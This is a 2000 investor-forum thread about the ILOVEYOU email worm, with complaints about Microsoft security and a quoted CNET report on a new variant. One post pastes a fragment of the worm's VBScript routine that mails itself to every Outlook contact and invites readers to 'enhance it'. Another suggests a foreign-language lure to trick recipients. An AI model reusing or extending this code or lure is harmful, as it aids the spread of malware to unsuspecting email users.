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To: Pink Minion who wrote (23942)	5/10/2000 1:58:00 PM
From: nnillionaire	Respond to of 24154

re:<Why don't we hear more blame on Microsoft for this virus crap? Any software that allows you to executed software mailed to you from the outside has no regard for security.> Dvorak agrees with you: zdnet.com

To: Pink Minion who wrote (23942)	5/10/2000 4:52:00 PM
From: Charles Tutt	Respond to of 24154

To be truly devious, the main text of the e-mail could be in (or just appear to be in) something like Spanish, with enough catch words to make it look interesting (perhaps petition, Reno, etc. <g>) and with an English directive to "click below for English version." JMHO.

To: Pink Minion who wrote (23942)	5/10/2000 7:43:00 PM
From: Harvey Allen	Read Replies (1) \| Respond to of 24154

ex- Here is some of the code. You can enhance it yourself. --------------------- snip ------------------------ if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if --------------------- snip ------------------------ Harvey

To: Pink Minion who wrote (23942)	5/19/2000 12:05:00 AM
From: Harvey Allen	Respond to of 24154

ex- Looks like they took your advice. New variant of ILOVEYOU virus started with varying content. Symantec identifies new variant of "Love" bug By Paul Festa Staff Writer, CNET News.com May 18, 2000, 8:05 p.m. PT update Virus authors are continuing to spread the Love. The meaner, smarter version of the "Love Bug" virus that wreaked havoc and billions of dollars in damage earlier this month has surfaced, a leading antivirus firm warned today, threatening to not only overwrite files on victims' computers but to disable those machines as well. Perhaps more disquieting is the fact that the latest "Love" mutant alters itself to sneak around traditional virus scanners. Like its predecessors, VBS.LoveLetter.FW.A exploits features of Microsoft's Outlook email program to send itself to all contacts in the victim's address book. The virus is written as a VisualBasic attachment, which can be recognized by the suffix ".vbs". news.cnet.com Harvey